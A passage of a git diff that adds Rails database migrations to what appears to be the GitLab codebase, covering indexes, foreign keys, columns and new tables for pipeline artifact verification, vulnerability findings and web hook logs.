+# for more information on how to write migrations for GitLab.
+
+class AddIndexMirrorDataOnRetryNextExecutionWhereStatus < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_NAME = 'index_mirror_data_non_scheduled_or_started'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :project_mirror_data,
+ [:next_execution_timestamp, :retry_count],
+ where: "(status)::text <> ALL ('{scheduled,started}'::text[])",
+ name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :project_mirror_data,
+ [:next_execution_timestamp, :retry_count],
+ where: "(status)::text <> ALL ('{scheduled,started}'::text[])",
+ name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210324131727_migrate_elastic_index_settings.rb b/db/migrate/20210324131727_migrate_elastic_index_settings.rb
new file mode 100644
index 00000000000..4dcfc6cf952
--- /dev/null
+++ b/db/migrate/20210324131727_migrate_elastic_index_settings.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class MigrateElasticIndexSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ ALIAS_NAME = [Rails.application.class.module_parent_name.downcase, Rails.env].join('-')
+
+ class ElasticIndexSetting < ActiveRecord::Base
+ end
+
+ class ApplicationSetting < ActiveRecord::Base
+ end
+
+ def up
+ setting = ApplicationSetting.first
+ number_of_replicas = setting&.elasticsearch_replicas || 1
+ number_of_shards = setting&.elasticsearch_shards || 5
+
+ return if ElasticIndexSetting.exists?(alias_name: ALIAS_NAME)
+
+ ElasticIndexSetting.create!(
+ alias_name: ALIAS_NAME,
+ number_of_replicas: number_of_replicas,
+ number_of_shards: number_of_shards
+ )
+ end
+
+ def down
+ ElasticIndexSetting.where(alias_name: ALIAS_NAME).delete_all
+ end
+end
diff --git a/db/migrate/20210325092215_add_not_valid_foreign_key_to_group_hooks.rb b/db/migrate/20210325092215_add_not_valid_foreign_key_to_group_hooks.rb
new file mode 100644
index 00000000000..2389f90d498
--- /dev/null
+++ b/db/migrate/20210325092215_add_not_valid_foreign_key_to_group_hooks.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddNotValidForeignKeyToGroupHooks < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_foreign_key :web_hooks, :namespaces, column: :group_id, on_delete: :cascade, validate: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :web_hooks, column: :group_id
+ end
+ end
+end
diff --git a/db/migrate/20210325113129_validate_foreign_key_on_service_hooks.rb b/db/migrate/20210325113129_validate_foreign_key_on_service_hooks.rb
new file mode 100644
index 00000000000..17dd4cad6ae
--- /dev/null
+++ b/db/migrate/20210325113129_validate_foreign_key_on_service_hooks.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class ValidateForeignKeyOnServiceHooks < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ CONSTRAINT_NAME = 'fk_d47999a98a'
+
+ def up
+ validate_foreign_key :web_hooks, :service_id, name: CONSTRAINT_NAME
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20210325150837_add_verification_state_to_ci_pipeline_artifact.rb b/db/migrate/20210325150837_add_verification_state_to_ci_pipeline_artifact.rb
new file mode 100644
index 00000000000..f6c506e59b7
--- /dev/null
+++ b/db/migrate/20210325150837_add_verification_state_to_ci_pipeline_artifact.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddVerificationStateToCiPipelineArtifact < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ change_table(:ci_pipeline_artifacts, bulk: true) do |t|
+ t.column :verification_started_at, :datetime_with_timezone
+ t.column :verification_retry_at, :datetime_with_timezone
+ t.column :verified_at, :datetime_with_timezone
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+
+ t.text :verification_failure # rubocop:disable Migration/AddLimitToTextColumns
+ end
+ end
+end
diff --git a/db/migrate/20210325151758_add_verification_failure_limit_to_ci_pipeline_artifact.rb b/db/migrate/20210325151758_add_verification_failure_limit_to_ci_pipeline_artifact.rb
new file mode 100644
index 00000000000..bc4dee2181f
--- /dev/null
+++ b/db/migrate/20210325151758_add_verification_failure_limit_to_ci_pipeline_artifact.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddVerificationFailureLimitToCiPipelineArtifact < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ CONSTRAINT_NAME = 'ci_pipeline_artifacts_verification_failure_text_limit'
+
+ def up
+ add_text_limit :ci_pipeline_artifacts, :verification_failure, 255, constraint_name: CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint(:ci_pipeline_artifacts, CONSTRAINT_NAME)
+ end
+end
diff --git a/db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb b/db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb
new file mode 100644
index 00000000000..0822aee35a4
--- /dev/null
+++ b/db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class AddVerificationIndexesToCiPipelineArtifacts < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ VERIFICATION_STATE_INDEX_NAME = "index_ci_pipeline_artifacts_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_ci_pipeline_artifacts_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_ci_pipeline_artifacts_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_ci_pipeline_artifacts_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_pipeline_artifacts, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ add_concurrent_index :ci_pipeline_artifacts, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ add_concurrent_index :ci_pipeline_artifacts, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ add_concurrent_index :ci_pipeline_artifacts, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_pipeline_artifacts, VERIFICATION_STATE_INDEX_NAME
+ remove_concurrent_index_by_name :ci_pipeline_artifacts, PENDING_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :ci_pipeline_artifacts, FAILED_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :ci_pipeline_artifacts, NEEDS_VERIFICATION_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb b/db/migrate/20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb
new file mode 100644
index 00000000000..d10c9401a31
--- /dev/null
+++ b/db/migrate/20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddIndexForProjectDeploymentsWithEnvironmentIdAndUpdatedAt < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_deployments_on_project_and_environment_and_updated_at'
+
+ def up
+ add_concurrent_index :deployments, [:project_id, :environment_id, :updated_at], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :deployments, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210326190903_create_vulnerability_finding_evidences.rb b/db/migrate/20210326190903_create_vulnerability_finding_evidences.rb
new file mode 100644
index 00000000000..4de02a6762e
--- /dev/null
+++ b/db/migrate/20210326190903_create_vulnerability_finding_evidences.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityFindingEvidences < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :vulnerability_finding_evidences do |t|
+ t.timestamps_with_timezone null: false
+
+ t.references :vulnerability_occurrence, index: { name: 'finding_evidences_on_vulnerability_occurrence_id' }, null: false, foreign_key: { on_delete: :cascade }
+ t.text :summary
+
+ t.text_limit :summary, 8_000_000
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :vulnerability_finding_evidences
+ end
+ end
+end
diff --git a/db/migrate/20210329095548_add_target_project_and_source_branch_index_to_merge_request.rb b/db/migrate/20210329095548_add_target_project_and_source_branch_index_to_merge_request.rb
new file mode 100644
index 00000000000..d351de6bd77
--- /dev/null
+++ b/db/migrate/20210329095548_add_target_project_and_source_branch_index_to_merge_request.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddTargetProjectAndSourceBranchIndexToMergeRequest < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_merge_requests_on_target_project_id_and_source_branch'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :merge_requests, [:target_project_id, :source_branch], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :epic_issues, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210329191850_add_finding_signature_table.rb b/db/migrate/20210329191850_add_finding_signature_table.rb
new file mode 100644
index 00000000000..74a12d54a8e
--- /dev/null
+++ b/db/migrate/20210329191850_add_finding_signature_table.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class AddFindingSignatureTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ SIGNATURE_IDX = :idx_vuln_signatures_on_occurrences_id_and_signature_sha
+ UNIQ_IDX = :idx_vuln_signatures_uniqueness_signature_sha
+
+ def up
+ with_lock_retries do
+ create_table :vulnerability_finding_signatures do |t|
+ t.references :finding,
+ index: true,
+ null: false,
+ foreign_key: { to_table: :vulnerability_occurrences, column: :finding_id, on_delete: :cascade }
+
+ t.timestamps_with_timezone null: false
+
+ t.integer :algorithm_type, null: false, limit: 2
+ t.binary :signature_sha, null: false
+
+ t.index %i[finding_id signature_sha],
+ name: SIGNATURE_IDX,
+ unique: true # only one link should exist between occurrence and the signature
+
+ t.index %i[finding_id algorithm_type signature_sha],
+ name: UNIQ_IDX,
+ unique: true # these should be unique
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :vulnerability_finding_signatures
+ end
+ end
+end
diff --git a/db/migrate/20210329192716_add_composite_index_to_award_emoji.rb b/db/migrate/20210329192716_add_composite_index_to_award_emoji.rb
new file mode 100644
index 00000000000..ce37afdbc29
--- /dev/null
+++ b/db/migrate/20210329192716_add_composite_index_to_award_emoji.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddCompositeIndexToAwardEmoji < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'idx_award_emoji_on_user_emoji_name_awardable_type_awardable_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :award_emoji, %i[user_id name awardable_type awardable_id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :award_emoji, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210330015805_add_cloud_to_licenses.rb b/db/migrate/20210330015805_add_cloud_to_licenses.rb
new file mode 100644
index 00000000000..d0c7112d0b0
--- /dev/null
+++ b/db/migrate/20210330015805_add_cloud_to_licenses.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddCloudToLicenses < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :licenses, :cloud, :boolean, default: false
+ end
+end
diff --git a/db/migrate/20210331125111_add_default_target_project.rb b/db/migrate/20210331125111_add_default_target_project.rb
new file mode 100644
index 00000000000..1a2c5ccca7d
--- /dev/null
+++ b/db/migrate/20210331125111_add_default_target_project.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddDefaultTargetProject < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :project_settings, :mr_default_target_self, :boolean, default: false, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :project_settings, :mr_default_target_self
+ end
+ end
+end
diff --git a/db/migrate/20210331145548_add_index_for_last_deployment.rb b/db/migrate/20210331145548_add_index_for_last_deployment.rb
new file mode 100644
index 00000000000..a50d8ea403a
--- /dev/null
+++ b/db/migrate/20210331145548_add_index_for_last_deployment.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexForLastDeployment < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_deployments_on_environment_id_status_and_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :deployments, [:environment_id, :status, :id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :deployments, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210331180118_remove_deprecated_index_from_award_emoji.rb b/db/migrate/20210331180118_remove_deprecated_index_from_award_emoji.rb
new file mode 100644
index 00000000000..b8787eb171c
--- /dev/null
+++ b/db/migrate/20210331180118_remove_deprecated_index_from_award_emoji.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class RemoveDeprecatedIndexFromAwardEmoji < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_award_emoji_on_user_id_and_name'
+
+ disable_ddl_transaction!
+
+ def up
+ # Index deprecated in favor of idx_award_emoji_on_user_emoji_name_awardable_type_awardable_id
+ remove_concurrent_index_by_name(:award_emoji, INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(:award_emoji, [:user_id, :name], name: INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20210401134157_add_index_to_pages_deployments.rb b/db/migrate/20210401134157_add_index_to_pages_deployments.rb
new file mode 100644
index 00000000000..aef27c7c6f9
--- /dev/null
+++ b/db/migrate/20210401134157_add_index_to_pages_deployments.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexToPagesDeployments < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_pages_deployments_on_file_store_and_id'
+
+ def up
+ add_concurrent_index :pages_deployments, [:file_store, :id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :pages_deployments, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210401134455_remove_index_mirror_data_on_next_execution_and_retry_count.rb b/db/migrate/20210401134455_remove_index_mirror_data_on_next_execution_and_retry_count.rb
new file mode 100644
index 00000000000..ee59e72e398
--- /dev/null
+++ b/db/migrate/20210401134455_remove_index_mirror_data_on_next_execution_and_retry_count.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class RemoveIndexMirrorDataOnNextExecutionAndRetryCount < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ DOWNTIME = false
+
+ INDEX_NAME = 'index_mirror_data_on_next_execution_and_retry_count'
+
+ def up
+ remove_concurrent_index(
+ :project_mirror_data,
+ %i[next_execution_timestamp retry_count],
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ add_concurrent_index(
+ :project_mirror_data,
+ %i[next_execution_timestamp retry_count],
+ name: INDEX_NAME
+ )
+ end
+end
diff --git a/db/migrate/20210401175134_add_before_expiry_notification_delivered_to_keys.rb b/db/migrate/20210401175134_add_before_expiry_notification_delivered_to_keys.rb
new file mode 100644
index 00000000000..6a2ea0e738c
--- /dev/null
+++ b/db/migrate/20210401175134_add_before_expiry_notification_delivered_to_keys.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddBeforeExpiryNotificationDeliveredToKeys < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :keys, :before_expiry_notification_delivered_at, :datetime_with_timezone
+ end
+end
diff --git a/db/migrate/20210401192808_add_index_to_keys_on_expires_at_and_before_expiry_notification_undelivered.rb b/db/migrate/20210401192808_add_index_to_keys_on_expires_at_and_before_expiry_notification_undelivered.rb
new file mode 100644
index 00000000000..ff792d2e6e6
--- /dev/null
+++ b/db/migrate/20210401192808_add_index_to_keys_on_expires_at_and_before_expiry_notification_undelivered.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddIndexToKeysOnExpiresAtAndBeforeExpiryNotificationUndelivered < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'idx_keys_expires_at_and_before_expiry_notification_undelivered'
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :keys,
+ "date(timezone('UTC', expires_at)), before_expiry_notification_delivered_at",
+ where: 'before_expiry_notification_delivered_at IS NULL', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name(:keys, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20210406063442_create_namespaces_id_parent_id_partial_index.rb b/db/migrate/20210406063442_create_namespaces_id_parent_id_partial_index.rb
new file mode 100644
index 00000000000..073d1ee2bc5
--- /dev/null
+++ b/db/migrate/20210406063442_create_namespaces_id_parent_id_partial_index.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class CreateNamespacesIdParentIdPartialIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ NAME = 'index_namespaces_id_parent_id_is_null'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :namespaces, :id, where: 'parent_id IS NULL', name: NAME
+ end
+
+ def down
+ remove_concurrent_index :namespaces, :id, name: NAME
+ end
+end
diff --git a/db/migrate/20210406140057_add_total_tuple_count_to_batched_migrations.rb b/db/migrate/20210406140057_add_total_tuple_count_to_batched_migrations.rb
new file mode 100644
index 00000000000..32b5f27a577
--- /dev/null
+++ b/db/migrate/20210406140057_add_total_tuple_count_to_batched_migrations.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddTotalTupleCountToBatchedMigrations < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ add_column :batched_background_migrations, :total_tuple_count, :bigint
+ end
+
+ def down
+ remove_column :batched_background_migrations, :total_tuple_count
+ end
+end
diff --git a/db/migrate/20210407002511_add_type_to_dast_site_profile.rb b/db/migrate/20210407002511_add_type_to_dast_site_profile.rb
new file mode 100644
index 00000000000..99d9970a2a8
--- /dev/null
+++ b/db/migrate/20210407002511_add_type_to_dast_site_profile.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddTypeToDastSiteProfile < ActiveRecord::Migration[6.0]
+ def change
+ add_column :dast_site_profiles, :target_type, :integer, limit: 2, default: 0, null: false
+ end
+end
diff --git a/db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb b/db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb
new file mode 100644
index 00000000000..2bcdf4c8982
--- /dev/null
+++ b/db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class CreateIndexOnNotesForCherryPickedMergeRequests < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ NAME = 'index_notes_for_cherry_picked_merge_requests'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :notes, [:project_id, :commit_id], where: "((noteable_type)::text = 'MergeRequest'::text)", name: NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :notes, name: NAME
+ end
+end
diff --git a/db/migrate/20210411212813_add_clusters_integrations_prometheus.rb b/db/migrate/20210411212813_add_clusters_integrations_prometheus.rb
new file mode 100644
index 00000000000..7b7894fdcc8
--- /dev/null
+++ b/db/migrate/20210411212813_add_clusters_integrations_prometheus.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddClustersIntegrationsPrometheus < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ create_table :clusters_integration_prometheus, id: false do |t|
+ t.timestamps_with_timezone null: false
+ t.references :cluster, primary_key: true, default: nil, index: false, foreign_key: { on_delete: :cascade }
+ t.boolean :enabled, null: false, default: false
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :clusters_integration_prometheus
+ end
+ end
+end
diff --git a/db/migrate/20210412132736_add_instance_url_to_jira_connect_installations.rb b/db/migrate/20210412132736_add_instance_url_to_jira_connect_installations.rb
new file mode 100644
index 00000000000..78b5e7d5d35
--- /dev/null
+++ b/db/migrate/20210412132736_add_instance_url_to_jira_connect_installations.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class AddInstanceUrlToJiraConnectInstallations < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in db/migrate/20210216163811_add_text_limit_to_jira_connect_installations_instance_url.rb
+ def up
+ add_column :jira_connect_installations, :instance_url, :text
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+
+ def down
+ remove_column :jira_connect_installations, :instance_url
+ end
+end
diff --git a/db/migrate/20210412132824_add_text_limit_to_jira_connect_installations_instance_url.rb b/db/migrate/20210412132824_add_text_limit_to_jira_connect_installations_instance_url.rb
new file mode 100644
index 00000000000..22c82ccd223
--- /dev/null
+++ b/db/migrate/20210412132824_add_text_limit_to_jira_connect_installations_instance_url.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddTextLimitToJiraConnectInstallationsInstanceUrl < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :jira_connect_installations, :instance_url, 255
+ end
+
+ def down
+ remove_text_limit :jira_connect_installations, :instance_url
+ end
+end
diff --git a/db/migrate/20210412142223_add_user_index_on_spam_logs.rb b/db/migrate/20210412142223_add_user_index_on_spam_logs.rb
new file mode 100644
index 00000000000..0a12f0f1a87
--- /dev/null
+++ b/db/migrate/20210412142223_add_user_index_on_spam_logs.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddUserIndexOnSpamLogs < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_spam_logs_on_user_id'
+
+ def up
+ add_concurrent_index :spam_logs, :user_id, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :spam_logs, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb b/db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb
new file mode 100644
index 00000000000..344f4859b47
--- /dev/null
+++ b/db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddCreatedAtWebHookIdIndexToPartitionedWebHookLog < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::PartitioningMigrationHelpers
+
+ DOWNTIME = false
+
+ CREATED_AT_WEB_HOOK_ID_INDEX_NAME = 'index_web_hook_logs_part_on_created_at_and_web_hook_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_partitioned_index :web_hook_logs_part_0c5294f417,
+ [:created_at, :web_hook_id],
+ name: CREATED_AT_WEB_HOOK_ID_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_partitioned_index_by_name :web_hook_logs_part_0c5294f417, CREATED_AT_WEB_HOOK_ID_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb b/db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb
new file mode 100644
index 00000000000..300c19d3e51
--- /dev/null
+++ b/db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddIndexOnWebHookIdToPartitionedWebHookLog < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::PartitioningMigrationHelpers
+
+ DOWNTIME = false
+
+ WEB_HOOK_ID_INDEX_NAME = 'index_web_hook_logs_part_on_web_hook_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_partitioned_index :web_hook_logs_part_0c5294f417,
+ :web_hook_id,
+ name: WEB_HOOK_ID_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_partitioned_index_by_name :web_hook_logs_part_0c5294f417, WEB_HOOK_ID_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210414095944_add_index_services_on_project_and_type_where_inherit_null.rb b/db/migrate/20210414095944_add_index_services_on_project_and_type_where_inherit_null.rb
new file mode 100644
index 00000000000..395742318e2
--- /dev/null
+++ b/db/migrate/20210414095944_add_index_services_on_project_and_type_where_inherit_null.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexServicesOnProjectAndTypeWhereInheritNull < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_services_on_project_and_type_where_inherit_null'
+
+ def up
+ add_concurrent_index(:services, [:project_id, :type], where: 'inherit_from_id IS NULL', name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:services, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20210414131600_add_external_pipeline_validation_to_application_setting.rb b/db/migrate/20210414131600_add_external_pipeline_validation_to_application_setting.rb
new file mode 100644
index 00000000000..537f7727691
--- /dev/null
+++ b/db/migrate/20210414131600_add_external_pipeline_validation_to_application_setting.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddExternalPipelineValidationToApplicationSetting < ActiveRecord::Migration[6.0]
+ def up
+ add_column :application_settings, :external_pipeline_validation_service_timeout, :integer
+ # rubocop:disable Migration/AddLimitToTextColumns
+ add_column :application_settings, :encrypted_external_pipeline_validation_service_token, :text
+ add_column :application_settings, :encrypted_external_pipeline_validation_service_token_iv, :text
+ add_column :application_settings, :external_pipeline_validation_service_url, :text
+ # rubocop:enable Migration/AddLimitToTextColumns
+ end
+
+ def down
+ remove_column :application_settings, :external_pipeline_validation_service_timeout
+ remove_column :application_settings, :encrypted_external_pipeline_validation_service_token
+ remove_column :application_settings, :encrypted_external_pipeline_validation_service_token_iv
+ remove_column :application_settings, :external_pipeline_validation_service_url
+ end
+end
diff --git a/db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb b/db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb
new file mode 100644
index 00000000000..9c38e04a96b
--- /dev/null
+++ b/db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddUrlLimitToPipelineValidation < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ CONSTRAINT_NAME = 'app_settings_ext_pipeline_validation_service_url_text_limit'
+
+ def up
+ add_text_limit :application_settings, :external_pipeline_validation_service_url, 255, constraint_name: CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint(:application_settings, CONSTRAINT_NAME)
+ end
+end
diff --git a/db/migrate/20210415144538_remove_index_epics_on_group_id_from_epics.rb b/db/migrate/20210415144538_remove_index_epics_on_group_id_from_epics.rb
new file mode 100644
index 00000000000..f691af4d8d2
--- /dev/null
+++ b/db/migrate/20210415144538_remove_index_epics_on_group_id_from_epics.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class RemoveIndexEpicsOnGroupIdFromEpics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'index_epics_on_group_id'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :epics, INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :epics, :group_id, name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20190214112022_schedule_sync_issuables_state_id.rb b/db/post_migrate/20190214112022_schedule_sync_issuables_state_id.rb
index 34536e22bbf..de062937fbe 100644
--- a/db/post_migrate/20190214112022_schedule_sync_issuables_state_id.rb
+++ b/db/post_migrate/20190214112022_schedule_sync_issuables_state_id.rb
@@ -19,8 +19,8 @@ class ScheduleSyncIssuablesStateId < ActiveRecord::Migration[5.0]
#
BATCH_SIZE = 5000
DELAY_INTERVAL = 120.seconds.to_i
- ISSUES_MIGRATION = 'SyncIssuesStateId'.freeze
- MERGE_REQUESTS_MIGRATION = 'SyncMergeRequestsStateId'.freeze
+ ISSUES_MIGRATION = 'SyncIssuesStateId'
